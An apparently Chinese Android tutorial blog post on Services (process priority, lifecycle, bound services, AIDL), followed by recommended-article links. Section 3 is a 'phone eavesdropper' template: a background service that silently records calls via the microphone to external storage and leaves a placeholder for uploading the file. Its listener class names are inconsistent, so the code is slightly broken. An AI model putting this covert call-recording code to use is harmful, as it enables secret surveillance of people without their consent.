八、服务详解

微服务详解(八):最佳做法和一般原则 微服务详解(一):概述 微服务详解(二):解决方案 微服务详解(三):设置开发环境 微服务详解(四):领域驱动设计 微服务详解(五):实现微服务 微服务详解(六):部署与测试 微服务详解(七):微服务的安全性 微服务详解(八):最佳做法和一般原则 微服务详解(九):故障排除指南 1.概述和心态 把整体式的生产系统更新到微服务的时候,比起从零开始构建一个系统,将需要更好的规划; ... 阅读详情

1. 服务和进程优先级

  • 什么是服务?

    windows下的服务:没有界面、长期运行在后台的应用程序;
    android下的服务:应用程序的一个组件,没有界面activity,长期运行在后台;

进程:是应用程序运行的载体。

进程与应用程序之间的关系: linux操作系统创建一个进程,这个进程负责运行dalvik虚拟机,Android的应用程序都是运行在dalvik虚拟机上的。

  • 进程的生命周期:

    1、应用程序一启动的时候就创建了进程;
    2、当应用程序退出的时候进程并没有退出;
    3、只有手工停止这个进程,进程才会结束;

操作系统尽量长时间的运行应用程序的进程,为了保证内存空间不被大量占用,它会按照进程的优先级,从低到高一级一级的杀死进程,直到内存空间被清理的差不多。

进程的等级:

  1. Foreground process(前台进程)

    应用程序,用户正在操作,activity的onresume方法被执行了,可以相应点击事件。

  2. Visible process (可视进程)

    应用程序的ui界面,用户还可以看到,但是不能操作了。

  3. Service process (服务进程)

    应用程序没有界面,但是有一个后台的服务还处于运行状态

  4. Background process(后台进程)

    应用程序没有服务处于运行状态,应用程序被最小化了,activity执行了onstop方法

  5. Empty process (空进程)

    没有任何组件运行,所有的activity都关闭了,任务栈清空了

2. 服务的特点

  • 服务的特点:

    服务被创建时调用onCreate、onStartCommand;

    服务只能被创建一次,可以开启多次onStartCommand;

    服务只能被停止一次;

    没有onPause、onStop、onResume、onRestart方法,因为service没有界面,长期运行在后台。

  • 生命周期的方法:

    onCreate:服务被创建的时候调用这个方法;

    onStartCommand :开启服务

    onDestroy:销毁服务

3. 电话窃听器的模板代码(重点)

  • 示例代码:

1、在工程中添加一个服务Service,重新onCreate方法:

public class DHQTService extends Service {
    /**
     * 当服务被创建的时候调用这个方法
     */
    @Override
    public void onCreate() {
        System.out.println("=========onCreate=========");
        super.onCreate();

        TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);

        tm.listen(new MyListener(), PhoneStateListener.LISTEN_CALL_STATE);

    }
}

2、在清单文件中配置服务:

<service android:name="com.itheima.dhqtq.DHQTService"></service>

3、在activity中开启服务:

service = new Intent(this, DHQTService.class);
// 开启服务
startService(service);

4、在onCreate方法中使用TelephonyManager监听电话的状态:

/**
 * 当服务被创建的时候调用这个方法
 */
@Override
public void onCreate() {
    System.out.println("=========onCreate=========");
    super.onCreate();

    TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);

    tm.listen(new MyListener(), PhoneStateListener.LISTEN_CALL_STATE);
}


/**
 *自定义一个电话状态监听器,监听电话
 */
private class mylistener extends phonestatelistener {

    private MediaRecorder r;

    @Override
    public void onCallStateChanged(int state, String incomingNumber) {

        try {
            // super.onCallStateChanged(state, incomingNumber);
            System.out.println("====state===============" + state);
            switch (state) {
                case TelephonyManager.CALL_STATE_IDLE: // 闲置状态
                        System.out.println("关闭录音机,上传音频文件..................");
                    if(r != null){
                        r.stop();
                        r.release();
                        r = null;
                        // 上传文件
                    }
                break;

                case TelephonyManager.CALL_STATE_RINGING: // 闲置状态
                    System.out.println("准备好录音机,准备录音..................");

                    r = new MediaRecorder();
                    r.setAudioSource(MediaRecorder.AudioSource.MIC);
                    r.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);

                    // r.setOutputFile("/mnt/sdcard/info.3gp");
                    r.setOutputFile(Environment.getExternalStorageDirectory()+"/info.3gp");
                    r.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
                    r.prepare(); 

                break;

                case TelephonyManager.CALL_STATE_OFFHOOK: // 闲置状态
                    System.out.println("开始录音..................");
                    r.start();
                break;
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

5、在清单配置文件中添加权限:

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>

4. start开启服务的生命周期(重点)

  • 服务的特点:

    (1)服务被创建时调用onCreate、onStartCommand;

    (2)服务只能被创建一次,可以开启多次onStartCommand;

    (3)服务只能被停止一次;

    (4)没有onPause、onStop、onResume、onRestart方法,因为service没有界面,长期运行在后台。

  • 生命周期的方法:

    onCreate:服务被创建的时候调用这个方法;

    onStartCommand :开启服务

    onDestroy:销毁服务

5. bind方式开启服务的生命周期(重点)

bindService绑定服务、unBindService解除绑定的服务;

服务是在被绑定的时候被创建,调用oncreate、onbind方法;
服务只能被绑定一次;
服务只能被解除一次,解除绑定的时候调用onUnbind、onDestrory方法,如果多次解除绑定会抛出异常;

推荐的方式:

startService:开启并创建一个服务,服务长期运行在后台;
bindService:绑定服务,可以调用服务里面的方法;
unBindService:解除服务,停止服务里面的方法;
stopService:停止服务,销毁服务对象;

为什么要引入bindservice的API ?

为了调用服务中的业务逻辑方法。

6. 绑定服务调用服务方法的过程

通过bindservice方式实现调用服务里面业务逻辑方法:

步骤:

(1)在服务类中创建一个中间人MyBinder,继承了Binder,Binder实现了IBinder接口:

public class MyBinder extends Binder{

}

(2)在服务类里面创建了一个MyBinder的成员变量:

private MyBinder myBinder;

(3)在MyBinder类中写一个方法用于调用服务的业务逻辑方法:

public class MyBinder extends Binder{

    // 使用中间人调用服务里的方法
    public void callMethodInService(){
        methodInService();
    }
}

(4)在activity中bindService时,定义了ServiceConnection,在这个连接中实现了两个:

private class MyConn implements ServiceConnection {
    /**
     * 服务连接成功时调用这个方法
     */
    @Override
    public void onServiceConnected(ComponentName name, IBinder service) {
        // 得到服务绑定成功后返回的中间人MyBinder对象
        myBinder = (MyBinder) service;
    }

    /**
     * 服务断开成功时调用这个方法
     */
    @Override
    public void onServiceDisconnected(ComponentName name) {
        System.out.println("-------onServiceDisconnected-------");
    }
}

(5)通过在activity中通过中间人条用服务的业务逻辑方法:

myBinder.callMethodInService();

7. 绑定服务抽取接口(重点)

接口(interface):对外开放暴露的功能,但是不会暴露功能实现的细节;

让中间人实现服务接口的目的:只对外暴露接口里面业务逻辑方法,隐藏中间人里面的其他方法;

步骤:

(1)创建一个服务的接口类,里面包含需要对外暴露的业务逻辑方法:

public interface IService {
    public void callMethodInService();
}

(2)让服务中的中间人实现了服务的接口类:

private class MyBinder extends Binder implements IService{

    // (实现服务接口中的方法)使用中间人调用服务里的方法
    public void callMethodInService(){
        methodInService();
   }
}

(3)在activity中声明接口的成员变量:

private IService myBinder;

(4)强制转换成服务的接口类型

private class MyConn implements ServiceConnection {

    /**
     * 服务连接成功时调用这个方法
     */
    @Override
    public void onServiceConnected(ComponentName name, IBinder service) {
        // 强制转换成服务的接口类型
        myBinder = (IService) service;
    }

(5)在activity中通过接口的成员变量调用服务的业务逻辑方法:

public void call(View view){
    myBinder.callMethodInService();
}

8. 绑定服务的应用场景

应用场景:

(1)需要在后台运行一定的业务逻辑,而且需要与服务器端交互数据,都是写在服务里面的。

(2)天气预报、股票行情软件;

9. 利用服务注册广播接收者

操作频繁的广播事件,如果只是在清单配置文件配置,是不生效的。需要使用代码注册才能生效;

步骤:

// 注册广播接收者

// 1、得到广播接收者的对象

ScreenBroadCastReceiver screenReceiver = new ScreenBroadCastReceiver();

// 2、创建一个intentFilter对象
IntentFilter filter = new IntentFilter();

// 3、注册接收的事件类型
filter.addAction("android.intent.action.SCREEN_ON");
filter.addAction("android.intent.action.SCREEN_OFF");

// 4、注册广播接收者
this.registerReceiver(screenReceiver, filter);

10. 远程服务aidl的写法(重点)

本地服务:写在自己的应用程序的工程里的服务 ,使用自己应用程序的进程运行这个服务;

远程服务:写在别的应用程序的工程里的服务,使用别的应用程序的进程运行这个服务(安装在同一个手机上的应用程序);

IPC: Inter Process Communication(进程间的通讯);

aidl: Android Interface definition language 安卓接口定义语言;

aidl的接口类里面不需要public 、protected、private 等修饰符,默认是公开共享;

步骤:

(1)创建一个服务的接口类,里面包含需要对外暴露的业务逻辑方法:

(2)让服务中的中间人实现了服务的接口类:

(3)修改并拷贝接口文件:

(4)在本地服务的工程中的activity里,绑定服务:

(5)通过接口调用远程服务的方法:

UDS详解(八)——14服务、22服务、2E服务、23服务、3D服务 介绍UDS服务中的14、22、2E、23、3D 阅读详情

相关推荐

UDS诊断服务基础详解之八—19 04服务(快照数据)

本文分享快照数据与 19 04 服务学习心得。快照数据即 DTC 快照,分全局与局部,能还原故障时刻状态,助定位偶发故障。19 04 服务可按 DTC 号报快照信息,含特定请求、正响应格式,正响应有实例;支持 0x12、0x13、0x31 等否定响应码,也有应用实例。文章强调快照数据对汽车故障诊断的重要性,及保证其准确性的必要性。​

车载网络小D的博客 2889

安卓期末复习题库

参考答案 :对 33、通过ListView中的android:dividerHeight属性可以设置分割线的高度。参考答案 :错 Fragment是被嵌入到Activity中使用的,因此他的生命周期的状态直接受其所属Activity的生命周期状态影响。

qq_62480054的博客 5748

【冷冻电镜】RELION5.0使用教程总结

对于您自己的数据,您可能希望使用各种倾斜系列对齐方法,然后比较每种方法生成的断层扫描图像的质量(参见下一步)。通过检查 CtfFind job 的 tilt_series 目录中的star文件来检查几个倾斜系列的散焦值。GitHub上也有人反应这个问题,目前我的解决方案是下载了较低版本的CTFFIND的,降级到4.1.10可以成功运行。此外,logfile.pdf 文件包含所有显微照片的有用参数图,例如散焦、像散、估计分辨率等,以及整个数据集中这些值的直方图。的目录,以及指向此目录的符号链接。

进阶中的程序员吃吃的博客 4239

Android 第八天_重置版_服务service

##01_服务和进程优先级 * 什么是服务?         windows下的服务:没有界面、长期运行在后台的应用程序;            android下的服务:应用程序的一个组件,没有界面activity,长期运行在后台;                 进程:是应用程序运行的载体。            进程与应用程序之间的关系: linux操作系统创建一个进程,这

a_salt_fish的博客 750

【论文精读】DisCo: Graph-Based Disentangled Contrastive Learning for Cold-Start Cross-Domain Recommendat

源域中具有相似偏好的用户在目标域中可能会表现出不同的兴趣。因此,直接迁移嵌入可能会引入不相关的源域协同信息。提出了一个基于图的解耦对比学习框架,以捕捉细粒度的用户意图并过滤掉不相关的协同信息,从而避免负迁移。 具体而言,对于每个域,我们使用多通道图编码器来捕捉多样化的用户意图。然后,我们在嵌入空间中构建亲和图,并执行多步随机游走以捕捉高阶用户相似性关系。将一个域视为目标域,我们提出了一种以用户相似性为指导的解耦意图对比学习方法,以优化跨域的用户意图桥接。

qq_52342142的博客 1228

ROS2中间件选型指南:FastDDS与CycloneDDS零拷贝机制对比与实战

在机器人开发中,通信中间件是连接分布式节点的核心纽带,其性能直接影响系统的实时性与可靠性。DDS作为ROS2默认的通信标准,通过发布订阅模型和QoS策略,为高频大带宽场景提供了灵活的数据分发能力。并行计算与高性能传输的需求,推动了零拷贝技术的演进——从传统序列化到共享内存乃至指针传递,旨在减少数据复制开销、降低延迟。在激光雷达点云、相机图像等场景下,中间件的选型尤为关键。FastDDS凭借与ROS2的深度集成和丰富文档成为入门首选,而CycloneDDS在低延迟和资源占用上表现更优,借助iceoryx实现了

weixin_28726391的博客 261

期末安卓习题--第八章

第八章安卓第八章选择题判断题填空题 安卓第八章 选择题 Context.startService方式的service生命周期下面正确的描述是(A ). • A、启动时 onCreate() –> onStartCommand() • B、停止时,onStop()–> onDestroy() • C、启动时 onCreate()–>onStart()->onResume() • D、停止时,onStop() 以下关于Service的说法,正确的是(C ) •

万事胜意 6325

脑影像分析软件推荐 | JuSpace

JuSpace是一种允许基于 MRI 测量与核成像衍生估计的跨模态关联的工具包,它涵盖各种神经递质系统,包括多巴胺能、血清素能、去甲肾上腺素能和 GABA(γ-氨基丁酸) 神经传递。JuSpace 由一组 Matlab 功能以及涵盖各种受体系统的 PET 受体图谱组成。

NHKJ_ZF的博客 1708

Service

1.服务是运行在后台的,可以用来做一些耗时的操作,后台并不是子线程,服务运行在主线程. public class MainActivity extends AppCompatActivity { ServiceConnection mConnection = new ServiceConnection() { @Override public void

viking_xhg的博客 485

LAMMPS实操系列(四): 高熵合金FCC-CoCrCuFeNi的退火模拟

我们对FCC-CoCrCuFeNi的退火模拟思路主要是,首先将材料以均匀的速率用100 ps从300 K升温至1000 K,然后在1000 K的温度下平衡100 ps,随后以均匀的速率用100 ps从1000 K降温至300 K,随后通过共轭梯度下降法做静力学结构优化得到退火后的结构。由于FCC-CoCrCuFeNi高熵合金被认为是潜在的工程结构材料[1],接下来我们将对退火前后的结构进行压缩模拟,对比退火前后FCC-CoCrCuFeNi高熵合金的力学性能变化,敬请各位读者关注我们的更新。

Ceshigo_CD的博客 4837

发那科机器人弧焊指令实战:从Search指令到组掩码设置的完整避坑指南

本文详细解析了发那科机器人弧焊指令系统的实战应用,从Search指令的正确使用到组掩码设置的避坑技巧。通过实际案例和参数优化建议,帮助工程师提升焊接质量和生产效率,避免常见错误操作。特别针对T2模式示教难题和外部轴协调运动提供了专业解决方案。

weixin_29040367的博客 185

Android Service详解(八)---前台服务详解

Android Service详解(八)---前台服务详解 这是第八篇文章主要讲的是如何实现一个前台服务 回顾可以到第一篇文章从头了解Service: Android Service详解(一)---概述和StartService 一、首先我们要知道什么是前台服务 前台服务被认为是用户主动意识到的一种服务,因此在内存不足时,系统也不会考虑将其终止。 前台

SuperBigLw的博客 1万+

华为OD机试 - 服务中心选址(Python)

一个快递公司希望在一条街道建立新的服务中心。公司统计了该街道中所有区域在地图上的位置,并希望能够以此为依据为新的服务中心选址:使服务中心到所有区域的距离的总和最小。先输入区域数组positions的长度n(1 ≤ n ≤ 10^5)接下来 n 行每行输入成对的left和right值,以空格隔开。输出为location。

m0_46181452的博客 282

【K8s】专题八:Kubernetes 服务调度详解

Kubernetes 专题 - 服务调度详解

运维、实施交付领域知识交流 2477

Python爬虫实战教程:如何高效爬取税务局通知通告

税务局发布的通知通告包含政策法规、办税指南、公告信息等,是纳税人、企业合规经营的重要参考。官网发布频率高,手动查看不便,自动爬取并保存,方便信息及时掌握及历史数据归档。本文以合法合规的方式示范,建议实际应用前确认目标网站允许爬取的范围和方式。建议使用pandas进行数据清洗,如去重、空值处理等。对于研究税务政策、进行大数据分析、搭建行业信息平台,爬取税务局通知通告信息尤为关键。公告列表以分页形式展现,包含标题、发布时间和详情页链接。进行政策趋势图、发布频率统计等可视化。爬取公开数据时,务必遵守网站的。

2201_76125261的博客 1781

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

SpringCloud微服务框架的原理及应用详解(八)

​ Spring Cloud是一个基于Spring Boot实现的服务治理工具包,在微服务架构中用于管理和协调服务。它提供了一系列框架和组件,如服务发现、配置管理、熔断器、智能路由等,用于简化分布式系统的开发。Spring Cloud通过提供一系列开箱即用的组件和工具,帮助开发者快速构建和部署微服务架构的系统。 本文将跟随《SpringCloud微服务框架的原理及应用详解(七)》的进度,继续介绍Spring Cloud框架。希望通过本系列文章的学习,您将能够更好地理解Spring Cl

凛鼕将至的博客 1747

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

vuepress入门详解(八)vuepress 部署到服务器

vuepress 部署到服务器 部署之前首先要使用命令npm run build进行编译,假设编译好的文件都放在dist文件夹里面。 编译好的文件就是一堆静态html页面和样式等文件。任何可以部署web应用的容器都可以部署 使用tomcat部署 使用tomcat部署的话,直接把编译好的文件夹放到webapp目录下就可以了。 发布到github上面 我没有使用这个功能,感兴趣的可以参考官网部署到GitHub 后记 vuepress入门讲解差不多就到这里了,只是记录了一些最简单的内容,他的功能还很强大,感兴趣的

牛魔王的专栏 4353

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

android7之前启动前台服务,Android Service详解(八)---前台服务详解

这是第八篇文章主要讲的是如何实现一个前台服务回顾可以到第一篇文章从头了解Service:Android Service详解系列一、首先我们要知道什么是前台服务前台服务被认为是用户主动意识到的一种服务,因此在内存不足时,系统也不会考虑将其终止。 前台服务必须为状态栏提供通知,放在“正在进行”标题下方,这意味着除非服务停止或从前台移除,否则不能清除通知。二、什么时候使用前台服务?例如,应该将通过服务播...

weixin_35541666的博客 497

SSH 服务详解 (八)-- vscode 通过 SSH 远程连接 linux 服务器

开发过程中,代码和编译器一般放在 linux 服务器中,但是平常使用的系统又是 window,所以本文通过 vscode 来连接远程 linux 服务器,这样,在 windows 的 vscode 中就可以查看,修改及编译代码,本文将介绍如何通过 vscode 连接到 linux 服务器有一点需要注意的是,SSH 客户端和服务器需要在同一局域网中,或者有公网 IP,楼主当前使用的开发环境为,windows10 + vmware ubuntu 虚拟机。

tyustli 2821

CentOS8服务器进阶(八)SSH远程密钥登录详解

导读: 尊敬的读者朋友,请您带着问题去阅读这篇文章,因为我想分享给你的是应对问题的方法,而不仅仅局限于解决问题的步骤。本文是《CentOS8服务器进阶》系列的第七篇,稍后还会持续更新该系列的文章,旨在为您解决开发中遇到的疑难杂症。上一期博文地址:https://www.jianshu.com/p/5b4a4918430b 一、实验环境 1.Windows10电脑 2.Vmware虚拟机 3.Cen...

qq_32241101的博客 3877

深入详解美团点评CAT跨语言服务监控(八)报表持久化

上一篇:CAT跨语言服务链监控(七)消息分析器与报表(二)        下一篇:CAT跨语言服务链监控(九)CAT管理平台MVC框架 周期结束     我们从消息分发章节知道,RealtimeConsumer在初始化的时候,会启动一个线程,每隔1秒钟就去从判断是否需要开启或结束一个周期(Period),如下源码,如果 value &lt; 0 的时候,就会启动一个周期结束线程,线程会调用...

caohao0591的专栏 3008

玩转企业常见应用与服务系列(八):开源代理服务软件 Squid 详解

点击下方名片,设为星标!回复“1024”获取2TB学习资源!前面介绍了企业常用服务NFS、FTP、DHCP、DNS、Samba、lsyncd、Postfix相关的知识点,今天我将详细的为大家介绍代理服务 Squid相关知识,希望大家能够从中收获多多!如有帮助,请点在看、转发朋友圈支持一波!!!Squid 简介Squid是Linux系统中最常用的一款开源代理服务软件,可以很好地实...

民工哥的博客 1057

微服务之springCloud-hystrix参数详解(八)

简介上节我们讨论了hystrix+feign+ribbon,但是可能很多人都知道hystrix还有线程隔离,信号量隔离,等等各种参数配置,在这几就记录下hystrix的参数,一、hystrix参数使用方法通过注解@HystrixCommand的commandProperties去配置,如下就是hystrix命令超时时间命令执行超时时间,为1000ms和执行是不启用超时@RestController...

qq_40435659的博客 254
上一篇: 七、广播详解
下一篇: 八、服务详解
CoderLiLe
博客等级 码龄11年 2粉丝 26原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值